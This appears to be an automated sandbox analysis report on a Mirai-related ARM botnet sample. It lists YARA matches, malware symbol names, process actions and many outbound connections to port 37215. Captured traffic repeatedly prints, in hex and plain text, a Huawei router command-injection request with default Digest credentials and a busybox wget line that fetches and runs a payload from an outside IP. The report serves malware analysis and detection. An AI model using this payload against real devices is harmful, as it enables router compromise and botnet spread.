Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39480 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 197.41.200.146
Source: unknown	TCP traffic detected without corresponding DNS query: 197.27.57.146
Source: unknown	TCP traffic detected without corresponding DNS query: 197.241.203.157
Source: unknown	TCP traffic detected without corresponding DNS query: 197.213.129.34
Source: unknown	TCP traffic detected without corresponding DNS query: 197.56.46.210
Source: unknown	TCP traffic detected without corresponding DNS query: 197.201.7.72
Source: unknown	TCP traffic detected without corresponding DNS query: 197.132.153.108
Source: unknown	TCP traffic detected without corresponding DNS query: 197.162.138.165
Source: unknown	TCP traffic detected without corresponding DNS query: 197.78.116.101
Source: unknown	TCP traffic detected without corresponding DNS query: 197.255.82.223
Source: unknown	TCP traffic detected without corresponding DNS query: 197.175.139.174
Source: unknown	TCP traffic detected without corresponding DNS query: 197.32.170.8
Source: unknown	TCP traffic detected without corresponding DNS query: 197.128.143.247
Source: unknown	TCP traffic detected without corresponding DNS query: 197.116.24.185
Source: unknown	TCP traffic detected without corresponding DNS query: 197.63.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 197.0.143.144
Source: unknown	TCP traffic detected without corresponding DNS query: 197.249.214.59
Source: unknown	TCP traffic detected without corresponding DNS query: 197.164.49.104
Source: unknown	TCP traffic detected without corresponding DNS query: 197.85.135.254
Source: unknown	TCP traffic detected without corresponding DNS query: 197.63.12.22
Source: unknown	TCP traffic detected without corresponding DNS query: 197.222.200.25
Source: unknown	TCP traffic detected without corresponding DNS query: 197.56.34.96
Source: unknown	TCP traffic detected without corresponding DNS query: 197.33.217.243
Source: unknown	TCP traffic detected without corresponding DNS query: 197.67.125.167
Source: unknown	TCP traffic detected without corresponding DNS query: 197.60.160.245
Source: unknown	TCP traffic detected without corresponding DNS query: 197.79.27.1
Source: unknown	TCP traffic detected without corresponding DNS query: 197.96.27.85
Source: unknown	TCP traffic detected without corresponding DNS query: 197.49.65.67
Source: unknown	TCP traffic detected without corresponding DNS query: 197.232.34.2
Source: unknown	TCP traffic detected without corresponding DNS query: 197.51.122.52
Source: unknown	TCP traffic detected without corresponding DNS query: 197.18.29.46
Source: unknown	TCP traffic detected without corresponding DNS query: 197.149.180.81
Source: unknown	TCP traffic detected without corresponding DNS query: 197.41.70.247
Source: unknown	TCP traffic detected without corresponding DNS query: 197.230.167.51
Source: unknown	TCP traffic detected without corresponding DNS query: 197.96.127.167
Source: unknown	TCP traffic detected without corresponding DNS query: 197.104.229.18
Source: unknown	TCP traffic detected without corresponding DNS query: 197.20.114.177
Source: unknown	TCP traffic detected without corresponding DNS query: 197.32.47.127
Source: unknown	TCP traffic detected without corresponding DNS query: 197.70.94.54
Source: unknown	TCP traffic detected without corresponding DNS query: 197.233.112.217
Source: unknown	TCP traffic detected without corresponding DNS query: 197.225.91.121
Source: unknown	TCP traffic detected without corresponding DNS query: 197.48.90.39
Source: unknown	TCP traffic detected without corresponding DNS query: 197.139.26.165
Source: unknown	TCP traffic detected without corresponding DNS query: 197.184.98.211
Source: unknown	TCP traffic detected without corresponding DNS query: 197.128.72.220
Source: unknown	TCP traffic detected without corresponding DNS query: 197.244.65.77
Source: unknown	TCP traffic detected without corresponding DNS query: 197.251.252.141
Source: unknown	TCP traffic detected without corresponding DNS query: 197.1.96.84
Source: unknown	TCP traffic detected without corresponding DNS query: 197.102.191.64

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 20 Feb 2022 16:57:31 GMTServer: DNVRS-WebsCache-Control: no-cacheContent-Length: 209Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 64 6f 63 75 6d 65 6e 74 3a 20 2f 68 6f 6d 65 2f 61 70 70 2f 77 65 62 73 2f 63 74 72 6c 74 2f 44 65 76 69 63 65 55 70 67 72 61 64 65 5f 31 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open document: /home/app/webs/ctrlt/DeviceUpgrade_1</p></body></html>

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

System Summary

Malicious sample detected (through community Yara rule)

Source: apep.arm7, type: SAMPLE	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5216.1.0000000094e3b5ad.00000000a6067fa0.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5212.1.0000000094e3b5ad.00000000a6067fa0.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth

Contains symbols with names commonly found in malware

Source: ELF static info symbol of initial sample	Name: attack.c
Source: ELF static info symbol of initial sample	Name: attack_app.c
Source: ELF static info symbol of initial sample	Name: attack_app_http
Source: ELF static info symbol of initial sample	Name: attack_get_opt_int
Source: ELF static info symbol of initial sample	Name: attack_get_opt_ip
Source: ELF static info symbol of initial sample	Name: attack_get_opt_str
Source: ELF static info symbol of initial sample	Name: attack_gre.c
Source: ELF static info symbol of initial sample	Name: attack_gre_tcpfrag
Source: ELF static info symbol of initial sample	Name: attack_init
Source: ELF static info symbol of initial sample	Name: attack_method.c

Source: apep.arm7, type: SAMPLE	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: apep.arm7, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5216.1.0000000094e3b5ad.00000000a6067fa0.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5216.1.0000000094e3b5ad.00000000a6067fa0.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5212.1.0000000094e3b5ad.00000000a6067fa0.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5212.1.0000000094e3b5ad.00000000a6067fa0.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5216.1.00000000897afae6.00000000ae2aa1e5.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5212.1.00000000897afae6.0000000084b9e534.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =

Source: /tmp/apep.arm7 (PID: 5212)

SIGKILL sent: pid: 761, result: successful

Jump to behavior

Source: Initial sample	String containing 'busybox' found: $(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)
Source: Initial sample	String containing 'busybox' found: $(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)[scanner] FD%d finnished

Source: classification engine

Classification label: mal88.spre.troj.linARM7@0/0@0/0

Source: /tmp/apep.arm7 (PID: 5212)

Reads from proc file: /proc/stat

Jump to behavior

Source: /tmp/apep.arm7 (PID: 5212)	File opened: /proc/491/fd	Jump to behavior
Source: /tmp/apep.arm7 (PID: 5212)	File opened: /proc/1/fd	Jump to behavior
Source: /tmp/apep.arm7 (PID: 5212)	File opened: /proc/761/fd	Jump to behavior
Source: /tmp/apep.arm7 (PID: 5212)	File opened: /proc/720/fd	Jump to behavior
Source: /tmp/apep.arm7 (PID: 5212)	File opened: /proc/721/fd	Jump to behavior
Source: /tmp/apep.arm7 (PID: 5212)	File opened: /proc/658/fd	Jump to behavior
Source: /tmp/apep.arm7 (PID: 5212)	File opened: /proc/759/fd	Jump to behavior

Source: /usr/bin/dash (PID: 5264)

Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.bBK0INLgnl /tmp/tmp.lf1W4ps2SD /tmp/tmp.znZCFKrI3H

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 35448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 35448
Source: unknown	Network traffic detected: HTTP traffic on port 44846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 33946
Source: unknown	Network traffic detected: HTTP traffic on port 42280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42496 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 55066
Source: unknown	Network traffic detected: HTTP traffic on port 33240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52308 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47902 -> 37215
